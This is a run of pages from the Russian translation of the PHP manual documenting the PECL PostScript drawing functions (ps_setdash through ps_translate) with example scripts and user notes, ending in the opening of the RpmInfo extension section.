php at catchall dot toao dot net 14-Jun-2009 08:29
Note that if you specify colors in RGB, the parameters C1, C2, and C3 should be specified in decimal form.  To calculate this, divide the value by 255.  Example: rgb(58,110,165) becomes <?php ps_setcolor($ps, "stroke", "rgb", .23, .43, .65, 0.0); ?>

However, since this is PostScript, most if not all files will be destined for printing and colors should be specified in CMYK anyway.


Устанавливает внешний вид пунктирной линии

  • « ps_setcolor
  • ps_setflat »
  • PHP Manual
  • Функции PS
  • Устанавливает внешний вид пунктирной линии

ps_setdash

(PECL ps >= 1.1.0)

ps_setdash — Устанавливает внешний вид пунктирной линии

Описание

ps_setdash(resource $psdoc, float $on, float $off): bool

Устанавливает длину чёрных и белых частей пунктирной линии.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

on

Длина чёрточки.

off

Длина промежутка между чёрточками.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setpolydash() - Устанавливает внешний вид пунктирной линии

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает плоскостность

  • « ps_setdash
  • ps_setfont »
  • PHP Manual
  • Функции PS
  • Устанавливает плоскостность

ps_setflat

(PECL ps >= 1.1.0)

ps_setflat — Устанавливает плоскостность

Описание

ps_setflat(resource $psdoc, float $value): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

value

value должно быть между 0.2 и 1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает шрифт, который будет использоваться для следующего вывода

  • « ps_setflat
  • ps_setgray »
  • PHP Manual
  • Функции PS
  • Устанавливает шрифт, который будет использоваться для следующего вывода

ps_setfont

(PECL ps >= 1.1.0)

ps_setfont — Устанавливает шрифт, который будет использоваться для следующего вывода

Описание

ps_setfont(resource $psdoc, int $fontid, float $size): bool

Устанавливает шрифт, который должен быть загружен раньше с помощью ps_findfont(). Вывод текста без установки шрифта приводит к ошибке.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

fontid

Идентификатор шрифта, возвращённый ps_findfont().

size

Размер шрифта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_findfont() - Загружает шрифт
  • ps_set_text_pos() - Устанавливает позицию для вывода текста для примера.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение серого

  • « ps_setfont
  • ps_setlinecap »
  • PHP Manual
  • Функции PS
  • Устанавливает значение серого

ps_setgray

(PECL ps >= 1.1.0)

ps_setgray — Устанавливает значение серого

Описание

ps_setgray(resource $psdoc, float $gray): bool

Устанавливает значение серого для всех последующих операций рисования.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

gray

Значение должно быть от 0 (белый) до 1 (чёрный).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setcolor() - Устанавливает текущий цвет

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает внешний вид окончания линии

  • « ps_setgray
  • ps_setlinejoin »
  • PHP Manual
  • Функции PS
  • Устанавливает внешний вид окончания линии

ps_setlinecap

(PECL ps >= 1.1.0)

ps_setlinecap — Устанавливает внешний вид окончания линии

Описание

ps_setlinecap(resource $psdoc, int $type): bool

Устанавливает внешний вид окончания линии.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

type

Тип окончания линии. Возможные значения: PS_LINECAP_BUTT, PS_LINECAP_ROUND или PS_LINECAP_SQUARED.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setlinejoin() - Устанавливает способ соединения линий
  • ps_setlinewidth() - Устанавливает ширину линии
  • ps_setmiterlimit() - Устанавливает предел скоса

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает способ соединения линий

  • « ps_setlinecap
  • ps_setlinewidth »
  • PHP Manual
  • Функции PS
  • Устанавливает способ соединения линий

ps_setlinejoin

(PECL ps >= 1.1.0)

ps_setlinejoin — Устанавливает способ соединения линий

Описание

ps_setlinejoin(resource $psdoc, int $type): bool

Устанавливает способ соединения линий.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

type

Способ соединения линий. Возможные значения: PS_LINEJOIN_MITER, PS_LINEJOIN_ROUND или PS_LINEJOIN_BEVEL.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setlinecap() - Устанавливает внешний вид окончания линии
  • ps_setlinewidth() - Устанавливает ширину линии
  • ps_setmiterlimit() - Устанавливает предел скоса

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает ширину линии

  • « ps_setlinejoin
  • ps_setmiterlimit »
  • PHP Manual
  • Функции PS
  • Устанавливает ширину линии

ps_setlinewidth

(PECL ps >= 1.1.0)

ps_setlinewidth — Устанавливает ширину линии

Описание

ps_setlinewidth(resource $psdoc, float $width): bool

Устанавливает ширину линии для всех последующих операций рисования.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

width

Ширина линий в точках.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setlinecap() - Устанавливает внешний вид окончания линии
  • ps_setlinejoin() - Устанавливает способ соединения линий
  • ps_setmiterlimit() - Устанавливает предел скоса

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает предел скоса

  • « ps_setlinewidth
  • ps_setoverprintmode »
  • PHP Manual
  • Функции PS
  • Устанавливает предел скоса

ps_setmiterlimit

(PECL ps >= 1.1.0)

ps_setmiterlimit — Устанавливает предел скоса

Описание

ps_setmiterlimit(resource $psdoc, float $value): bool

Если две линии соединяются под небольшим углом, а для соединения линий установлено значение PS_LINEJOIN_MITER, то результирующий выступ будет очень длинным. Предел скоса - это максимальное соотношение длины скоса (длины выступа) и ширины линии.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

value

Максимальное соотношение между длиной скоса и шириной линии. Большие значения (> 10) приведут к очень длинным выступам, если две линии пересекаются под небольшим углом. Оставьте значение по умолчанию, если вы не уверены в том, что делаете.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_setlinecap() - Устанавливает внешний вид окончания линии
  • ps_setlinejoin() - Устанавливает способ соединения линий
  • ps_setlinewidth() - Устанавливает ширину линии

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим наложения

  • « ps_setmiterlimit
  • ps_setpolydash »
  • PHP Manual
  • Функции PS
  • Устанавливает режим наложения

ps_setoverprintmode

(PECL ps >= 1.3.0)

ps_setoverprintmode — Устанавливает режим наложения

Описание

ps_setoverprintmode(resource $psdoc, int $mode): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

mode

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает внешний вид пунктирной линии

  • « ps_setoverprintmode
  • ps_shading_pattern »
  • PHP Manual
  • Функции PS
  • Устанавливает внешний вид пунктирной линии

ps_setpolydash

(PECL ps >= 1.1.0)

ps_setpolydash — Устанавливает внешний вид пунктирной линии

Описание

ps_setpolydash(resource $psdoc, float $arr): bool

Устанавливает длину чёрных и белых частей пунктирной линии. ps_setpolydash() используется для установки более сложных шаблонов тире.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

arr

arr - это список элементов длины поочерёдно для чёрной и белой части.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Рисование пунктирной линии

<?php
$ps = ps_new();
if (!ps_open_file($ps, "polydash.ps")) {
print "Не удаётся открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "polydash.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример множественного тире");

ps_begin_page($ps, 596, 842);
ps_setpolydash($ps, array(10, 5, 2, 5));
ps_moveto($ps, 100, 100);
ps_lineto($ps, 200, 200);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

В этом примере рисуется линия из 10 и 2 точек с промежутками в 5 точек между ними.

Смотрите также

  • ps_setdash() - Устанавливает внешний вид пунктирной линии

User Contributed Notes

There are no user contributed notes for this page.


Создаёт узор на основе затенения

  • « ps_setpolydash
  • ps_shading »
  • PHP Manual
  • Функции PS
  • Создаёт узор на основе затенения

ps_shading_pattern

(PECL ps >= 1.3.0)

ps_shading_pattern — Создаёт узор на основе затенения

Описание

ps_shading_pattern(resource $psdoc, int $shadingid, string $optlist): int|false

Создаёт узор на основе затенения, которое должно быть создано ранее с помощью ps_shading(). Шаблоны затенения можно использовать как обычные шаблоны.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

shadingid

Идентификатор затенения, ранее созданного с помощью ps_shading().

optlist

Аргумент в настоящее время не используется.

Возвращаемые значения

Идентификатор шаблона или false в случае возникновения ошибки.

Смотрите также

  • ps_shading() - Создаёт затенение для последующего использования
  • ps_shfill() - Заполняет область затенением

User Contributed Notes

There are no user contributed notes for this page.


Создаёт затенение для последующего использования

  • « ps_shading_pattern
  • ps_shfill »
  • PHP Manual
  • Функции PS
  • Создаёт затенение для последующего использования

ps_shading

(PECL ps >= 1.3.0)

ps_shading — Создаёт затенение для последующего использования

Описание

ps_shading(
resource $psdoc,
string $type,
float $x0,
float $y0,
float $x1,
float $y1,
float $c1,
float $c2,
float $c3,
float $c4,
string $optlist
): int|false

Создаёт затенение, которое может использоваться функцией ps_shfill() или ps_shading_pattern().

Цвет затенения может быть в любом цветовом пространстве, кроме pattern.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

type

Тип затенения может быть radial или axial. Каждое затенение начинается с текущего цвета заливки и заканчивается заданными значениями цвета, переданными в параметрах от c1 до c4 (описание их значений смотрите в ps_setcolor()).

x0, x1, y0, y1

Координаты x0, y0, x1, y1 - это начальная и конечная точки затенения. Если тип затенения - radial, две точки являются средними точками начальной и конечной окружностей.

c1, c2, c3, c4

Смотрите описание их значений в ps_setcolor().

optlist

Если тип затенения radial, optlist также должен содержать параметры r0 и r1 с радиусом начального и конечного круга.

Возвращаемые значения

Возвращает идентификатор шаблона или false в случае возникновения ошибки.

Смотрите также

  • ps_shading_pattern() - Создаёт узор на основе затенения
  • ps_shfill() - Заполняет область затенением

User Contributed Notes

There are no user contributed notes for this page.


Заполняет область затенением

  • « ps_shading
  • ps_show_boxed »
  • PHP Manual
  • Функции PS
  • Заполняет область затенением

ps_shfill

(PECL ps >= 1.3.0)

ps_shfill — Заполняет область затенением

Описание

ps_shfill(resource $psdoc, int $shadingid): bool

Заполняет область затенением, которое должно быть создано ранее с помощью ps_shading(). Это альтернативный способ создания узора из затенения ps_shading_pattern() и использования узора в качестве цвета заливки.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

shadingid

Идентификатор затенения, ранее созданного с помощью ps_shading().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_shading() - Создаёт затенение для последующего использования
  • ps_shading_pattern() - Создаёт узор на основе затенения

User Contributed Notes

There are no user contributed notes for this page.


Выводит текст в поле

  • « ps_shfill
  • ps_show_xy2 »
  • PHP Manual
  • Функции PS
  • Выводит текст в поле

ps_show_boxed

(PECL ps >= 1.1.0)

ps_show_boxed — Выводит текст в поле

Описание

ps_show_boxed(
resource $psdoc,
string $text,
float $left,
float $bottom,
float $width,
float $height,
string $hmode,
string $feature = ?
): int

Выводит текст в заданном поле. Нижний левый угол поля находится в (left, bottom). При необходимости будут вставлены разрывы строк. Несколько пробелов рассматриваются как один. Табуляторы рассматриваются как пробелы.

Текст будет переноситься через дефис, если для параметра hyphenation установлено значение true, а параметр hyphendict содержит допустимое имя файла для файла расстановки переносов. Межстрочный интервал берётся из значения leading. Абзацы можно разделять пустой строкой, как в TeX. Если для параметра parindent установлено значение > 0.0, то первые n строк будут с отступом. Количество строк n задаётся параметром numindentlines. Чтобы предотвратить отступ первых m абзацев, установите положительное число значением параметра parindentkip.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

Текст, который нужно вывести в данное поле.

left

Координата X левого нижнего угла поля.

bottom

Координата Y левого нижнего угла поля.

width

Ширина поля.

height

Высота поля.

hmode

Параметр hmode может быть fulljustify, right, left или center. Разница между justify и fulljustify влияет только на последнюю строку поля. В режиме fulljustify последняя строка будет выровнена по левому и правому краю, если только это не последняя строка абзаца. В режиме justify она всегда будет выровнена по левому краю.

feature

Используемые параметры

Вывод ps_show_boxed() может быть сконфигурирован с несколькими параметрами и значениями, которые должны быть установлены с помощью ps_set_parameter() или ps_set_value(). Помимо параметров и значений, влияющих на вывод текста, оцениваются следующие параметры и значения:

leading (значение)

Расстояние между базовыми линиями двух последовательных линий.

linebreak (параметр)

Установите значение true, если хотите, чтобы возврат каретки начинал новую строку, а не рассматривал его как пробел. По умолчанию false.

parbreak (параметр)

Установите значение true, если хотите, чтобы возврат каретки в отдельной строке начинал новый абзац, а не рассматривал его как пробел. По умолчанию true.

hyphenation (параметр)

Установите значение true, чтобы включить расстановку переносов. Для этого требуется, чтобы словарь был установлен с параметром hyphendict. По умолчанию false.

hyphendict (параметр)

Имя файла словаря, используемого для расстановки переносов (смотрите ниже).

hyphenminchar (значение)

Количество символов, которое должно быть по крайней мере оставлено до или после дефиса. Это означает, что через дефис будут перенесены только слова, которые как минимум в два раза превышают это значение. Значение по умолчанию - три. Установка нулевого значения установит значение по умолчанию.

parindent (значение)

Установите количество места в пикселях для отступа первых m строк абзаца. m можно установить с помощью значения numindentlines.

parskip (значение)

Установите количество дополнительного пространства в пикселях между абзацами. По умолчанию 0, что приведёт к нормальному расстоянию между линиями.

numindentlines (значение)

Количество строк от начала абзаца, которые будут с отступом. По умолчанию 1.

parindentskip (значение)

Количество абзацев в поле, первые строки которых будут без отступа. По умолчанию 0. Это полезно для абзацев сразу после заголовка раздела или текста, продолжающегося во втором поле. В обоих случаях можно установить значение 1.

linenumbermode (параметр)

Задайте способ нумерации строк. Возможные значения: box для нумерации строк во всем блоке или paragraph для нумерации строк в каждом абзаце.

linenumberspace (значение)

Пространство для столбца слева от нумерованной строки, содержащей номер строки. Номер строки в этом столбце будет выровнен по правому краю. По умолчанию 20.

linenumbersep (значение)

Пространство между столбцом с номерами строк и самой строкой. По умолчанию 5.

Переносы

Текст переносится, если в параметре hyphenation установлено значение true и задан допустимый словарь для расстановки переносов. pslib не предоставляет собственный словарь для расстановки переносов, но использует словарь из openoffice, scribus или koffice. Вы можете найти их словари для разных языков в одном из следующих каталогов, если установлено соответствующее программное обеспечение:

  • /usr/share/apps/koffice/hyphdicts/
  • /usr/lib/scribus/dicts/
  • /usr/lib/openoffice/share/dict/ooo/
В настоящее время у scribus наиболее полные словари расстановки переносов.

Возвращаемые значения

Количество символов, которые не удалось записать.

Смотрите также

  • ps_continue_text() - Продолжает текст в следующей строке

User Contributed Notes

php at catchall dot toao dot net 13-Jun-2009 03:45
In order to justify text in the way a word processor would, one must set 'linebreak' to 'false' and 'parbreak' to 'true'.  For every new line, you must use "\n\n" (two newlines, NOT carriage returns as stated in the docs).  If you wish to make two new lines in your finished document, "\n\n\n\n" will not work.  Instead, you must use "\n\n \n\n".

For every line to be justified, you should append "\n " (new line and a space) to the end of the text.  For this to work, 'linebreak' must be 'true'.
tilman dot schroeder at gmx dot de 01-Jan-2007 07:52
Note that there will no box be drawn around the text even if the function name suggests this.

After the box has been drawn you can get the new x and y position with

<?php
$x=ps_get_value($ps,'textx',NULL);
$y=ps_get_value($ps,'texty',NULL);
?>

textx points to the end of the last character written by ps_show_boxed and texty points to the baseline of the last line written (which means, if there is e.g. a 'g' in the last line then the lower part's y-coordinates of the g will be lower than the value of texty. I hope you understand what I meant)


Выводит текст в заданной позиции

  • « ps_show_boxed
  • ps_show_xy »
  • PHP Manual
  • Функции PS
  • Выводит текст в заданной позиции

ps_show_xy2

(PECL ps >= 1.1.0)

ps_show_xy2 — Выводит текст в заданной позиции

Описание

ps_show_xy2(
resource $psdoc,
string $text,
int $len,
float $xcoor,
float $ycoor
): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выводит текст в заданной позиции

  • « ps_show_xy2
  • ps_show2 »
  • PHP Manual
  • Функции PS
  • Выводит текст в заданной позиции

ps_show_xy

(PECL ps >= 1.1.0)

ps_show_xy — Выводит текст в заданной позиции

Описание

ps_show_xy(
resource $psdoc,
string $text,
float $x,
float $y
): bool

Выводит текст в заданной текстовой позиции.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

text

Текст для вывода.

x

Координата X левого нижнего угла поля, окружающего текст.

y

Координата Y левого нижнего угла поля, окружающего текст.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_continue_text() - Продолжает текст в следующей строке
  • ps_show() - Выводит текст

User Contributed Notes

There are no user contributed notes for this page.


Выводит текст в текущей позиции

  • « ps_show_xy
  • ps_show »
  • PHP Manual
  • Функции PS
  • Выводит текст в текущей позиции

ps_show2

(PECL ps >= 1.1.0)

ps_show2 — Выводит текст в текущей позиции

Описание

ps_show2(resource $psdoc, string $text, int $len): bool

Выводит текст в текущей позиции. Не выводит более len символов.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

text

Текст для вывода.

len

Максимальное количество символов для вывода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Выводит текст

  • « ps_show2
  • ps_string_geometry »
  • PHP Manual
  • Функции PS
  • Выводит текст

ps_show

(PECL ps >= 1.1.0)

ps_show — Выводит текст

Описание

ps_show(resource $psdoc, string $text): bool

Выводит текст в текущей позиции. Положение текста можно установить, erfpfd координаты X и Y в значениях textx и texty с помощью функции ps_set_value(). Функция выдаст ошибку, если шрифт не был установлен ранее с помощью ps_setfont().

Функция ps_show() оценивает следующие параметры и значения, установленные ps_set_parameter() и ps_set_value().

charspacing (значение)

Расстояние между двумя последовательными глифами. Если это значение не равно нулю, все лигатуры будут разрешены. Допускаются значения меньше нуля.

kerning (параметр)

Установка параметру значения "false" отключит кернинг. По умолчанию кернинг включён.

ligatures (параметр)

Установка параметру значения "false" отключит использование лигатур. По умолчанию лигатуры включены.

underline (параметр)

Установка параметру значения "true" включит подчёркивание. По умолчанию подчёркивание отключено.

overline (параметр)

Установка параметру значения "true" включит наложение. Наложение по умолчанию отключено.

strikeout (параметр)

Установка параметру значения "true" включит зачёркивание. По умолчанию зачёркивание отключено.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

Текст для вывода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_continue_text() - Продолжает текст в следующей строке
  • ps_show_xy() - Выводит текст в заданной позиции
  • ps_setfont() - Устанавливает шрифт, который будет использоваться для следующего вывода

User Contributed Notes

There are no user contributed notes for this page.


Получает геометрию строки

  • « ps_show
  • ps_stringwidth »
  • PHP Manual
  • Функции PS
  • Получает геометрию строки

ps_string_geometry

(PECL ps >= 1.2.0)

ps_string_geometry — Получает геометрию строки

Описание

ps_string_geometry(
resource $psdoc,
string $text,
int $fontid = 0,
float $size = 0.0
): array

Функция похожа на ps_stringwidth(), но возвращает массив размеров, содержащий ширину, верхнюю и нижнюю границу текста.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

Текст, для которого должна быть рассчитана геометрия.

fontid

Идентификатор используемого шрифта. Если шрифт не указан, используется текущий шрифт.

size

Размер шрифта. Если размер не указан, используется текущий размер.

Возвращаемые значения

Массив размеров строки. Элемент "width" содержит ширину строки, возвращаемую функцией ps_stringwidth(). Элемент "descender" содержит максимальную нижнюю границу, а "ascender" - максимальную верхнюю границу элемента строки.

Смотрите также

  • ps_continue_text() - Продолжает текст в следующей строке
  • ps_stringwidth() - Получает ширину строки

User Contributed Notes

There are no user contributed notes for this page.


Получает ширину строки

  • « ps_string_geometry
  • ps_stroke »
  • PHP Manual
  • Функции PS
  • Получает ширину строки

ps_stringwidth

(PECL ps >= 1.1.0)

ps_stringwidth — Получает ширину строки

Описание

ps_stringwidth(
resource $psdoc,
string $text,
int $fontid = 0,
float $size = 0.0
): float

Вычисляет ширину строки в пунктах, если бы она выводилась с заданным шрифтом и размером шрифта. Функции необходим файл метрик шрифтов Adobe для расчёта точной ширины. Если интервал между буквами включён, он также будет учтён.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

text

Текст, для которого нужно рассчитать ширину.

fontid

Идентификатор используемого шрифта. Если шрифт не указан, используется текущий шрифт.

size

Размер шрифта. Если размер не указан, используется текущий размер.

Возвращаемые значения

Ширина строки в пунктах.

Смотрите также

  • ps_string_geometry() - Получает геометрию строки

User Contributed Notes

There are no user contributed notes for this page.


Рисует текущий путь

  • « ps_stringwidth
  • ps_symbol_name »
  • PHP Manual
  • Функции PS
  • Рисует текущий путь

ps_stroke

(PECL ps >= 1.1.0)

ps_stroke — Рисует текущий путь

Описание

ps_stroke(resource $psdoc): bool

Рисует путь, построенный с помощью ранее вызванных функций рисования, таких как ps_lineto().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_closepath_stroke() - Замыкает и обводит контур
  • ps_fill() - Заполняет текущий путь
  • ps_fill_stroke() - Заполняет и обводит текущий путь

User Contributed Notes

There are no user contributed notes for this page.


Получает имя глифа

  • « ps_stroke
  • ps_symbol_width »
  • PHP Manual
  • Функции PS
  • Получает имя глифа

ps_symbol_name

(PECL ps >= 1.2.0)

ps_symbol_name — Получает имя глифа

Описание

ps_symbol_name(resource $psdoc, int $ord, int $fontid = 0): string

Для функции необходим файл метрик шрифтов Adobe, чтобы знать, какие глифы доступны.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

ord

Параметр ord - это позиция глифа в векторе кодировки шрифта.

fontid

Идентификатор используемого шрифта. Если шрифт не указан, будет использоваться текущий шрифт.

Возвращаемые значения

Имя глифа в заданном шрифте.

Смотрите также

  • ps_symbol() - Выводит глиф
  • ps_symbol_width() - Получает ширину глифа

User Contributed Notes

There are no user contributed notes for this page.


Получает ширину глифа

  • « ps_symbol_name
  • ps_symbol »
  • PHP Manual
  • Функции PS
  • Получает ширину глифа

ps_symbol_width

(PECL ps >= 1.2.0)

ps_symbol_width — Получает ширину глифа

Описание

ps_symbol_width(
resource $psdoc,
int $ord,
int $fontid = 0,
float $size = 0.0
): float

Вычисляет ширину глифа в точках, если он был выведен с заданным шрифтом и размером шрифта. Функции необходим файл метрик шрифтов Adobe для расчёта точной ширины.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

ord

Положение глифа в векторе кодировки шрифта.

fontid

Идентификатор используемого шрифта. Если шрифт не указан, будет использоваться текущий шрифт.

size

Размер шрифта. Если размер не указан, используется текущий размер.

Возвращаемые значения

Ширина глифа в точках.

Смотрите также

  • ps_symbol() - Выводит глиф
  • ps_symbol_name() - Получает имя глифа

User Contributed Notes

There are no user contributed notes for this page.


Выводит глиф

  • « ps_symbol_width
  • ps_translate »
  • PHP Manual
  • Функции PS
  • Выводит глиф

ps_symbol

(PECL ps >= 1.2.0)

ps_symbol — Выводит глиф

Описание

ps_symbol(resource $psdoc, int $ord): bool

Выводит глиф в позиции ord в векторе кодировки текущего шрифта. Кодировку шрифта можно установить при загрузке шрифта с помощью ps_findfont().

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

ord

Положение глифа в векторе кодировки шрифта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_symbol_name() - Получает имя глифа
  • ps_symbol_width() - Получает ширину глифа

User Contributed Notes

There are no user contributed notes for this page.


Изменяет систему координат

  • « ps_symbol
  • RpmInfo »
  • PHP Manual
  • Функции PS
  • Изменяет систему координат

ps_translate

(PECL ps >= 1.1.0)

ps_translate — Изменяет систему координат

Описание

ps_translate(resource $psdoc, float $x, float $y): bool

Устанавливает новую начальную точку системы координат.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

x

Координата X начала изменённой системы координат.

y

Координата Y начала изменённой системы координат.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Изменение системы координат

<?php
function rectangle($ps) {
ps_moveto($ps, 0, 0);
ps_lineto($ps, 0, 50);
ps_lineto($ps, 50, 50);
ps_lineto($ps, 50, 0);
ps_lineto($ps, 0, 0);
ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "translate.ps")) {
print "Не удается открыть файл PostScript\n";
exit;
}

ps_set_info($ps, "Creator", "translate.php");
ps_set_info($ps, "Author", "Уве Штайнманн");
ps_set_info($ps, "Title", "Пример перевода");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_translate($ps, -500, -750);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Текст в исходной позиции");
ps_end_page($ps);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Текст в исходной позиции");
ps_end_page($ps);

ps_delete($ps);
?>

Приведённый выше пример демонстрирует два возможных способа разместить графику (в данном случае просто прямоугольник) в любой позиции на странице, в то время как сама графика использует свою собственную систему координат. Хитрость заключается в том, чтобы изменить начало текущей системы координат перед рисованием прямоугольника. Изменение системы координат необходимо отменить после того, как рисунок был нарисован.

На второй странице применён несколько иной и более элегантный подход. Вместо отмены изменения вторым вызовом ps_translate(), графический контекст сохраняется до изменения системы координат и восстанавливается после рисования прямоугольника.

Смотрите также

  • ps_scale() - Устанавливает коэффициент масштабирования
  • ps_rotate() - Устанавливает коэффициент вращения

User Contributed Notes

There are no user contributed notes for this page.


RpmInfo

  • Введение
  • Установка и настройка
    • Требования
    • Установка через PECL
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции RpmInfo
    • rpmaddtag — Добавляет тег, полученный в запросе
    • rpmdbinfo — Получает информацию от установленного RPM
    • rpmdbsearch — Поиск RPM-пакетов
    • rpmgetsymlink — Get target of a symlink
    • rpminfo — Извлечь информацию из RPM-файла
    • rpmvercmp — Сравнивает версии RPM

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль позволяет получать информацию из файлов RPM или из установленной базы данных RPM.

Модуль также предоставляет обёртку потока rpm для получения содержимого RPM (начиная с версии 1.0.0 с librpm >= 4.13).

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка через PECL
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля требуется » librpm версии 4.11.3 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка через PECL

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/rpminfo.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

RPMVERSION (string)
Системная версия librpm.
RPMSENSE_ANY (int)
RPMSENSE_LESS (int)
RPMSENSE_GREATER (int)
RPMSENSE_EQUAL (int)
RPMSENSE_POSTTRANS (int)
RPMSENSE_PREREQ (int)
RPMSENSE_PRETRANS (int)
RPMSENSE_INTERP (int)
RPMSENSE_SCRIPT_PRE (int)
RPMSENSE_SCRIPT_POST (int)
RPMSENSE_SCRIPT_PREUN (int)
RPMSENSE_SCRIPT_POSTUN (int)
RPMSENSE_SCRIPT_VERIFY (int)
RPMSENSE_FIND_REQUIRES (int)
RPMSENSE_FIND_PROVIDES (int)
RPMSENSE_TRIGGERIN (int)
RPMSENSE_TRIGGERUN (int)
RPMSENSE_TRIGGERPOSTUN (int)
RPMSENSE_MISSINGOK (int)
RPMSENSE_RPMLIB (int)
RPMSENSE_TRIGGERPREIN (int)
RPMSENSE_KEYRING (int)
RPMSENSE_CONFIG (int)
RPMMIRE_DEFAULT (int)
Шаблон поиска представляет собой выражение с добавлением \., .* и ^...$.
RPMMIRE_STRCMP (int)
Шаблон поиска представляет собой строку (string), используя strcmp(3).
RPMMIRE_REGEX (int)
Шаблон поиска представляет собой регулярное выражение, использующее regcomp(3).
RPMMIRE_GLOB (int)
Шаблон поиска представляет собой глобальное выражение, использующее fnmatch(3).
RPMTAG_ARCH (int)
RPMTAG_ARCHSUFFIX (int)
Требуется librpm >= 4.18
RPMTAG_ARCHIVESIZE (int)
RPMTAG_BASENAMES (int)
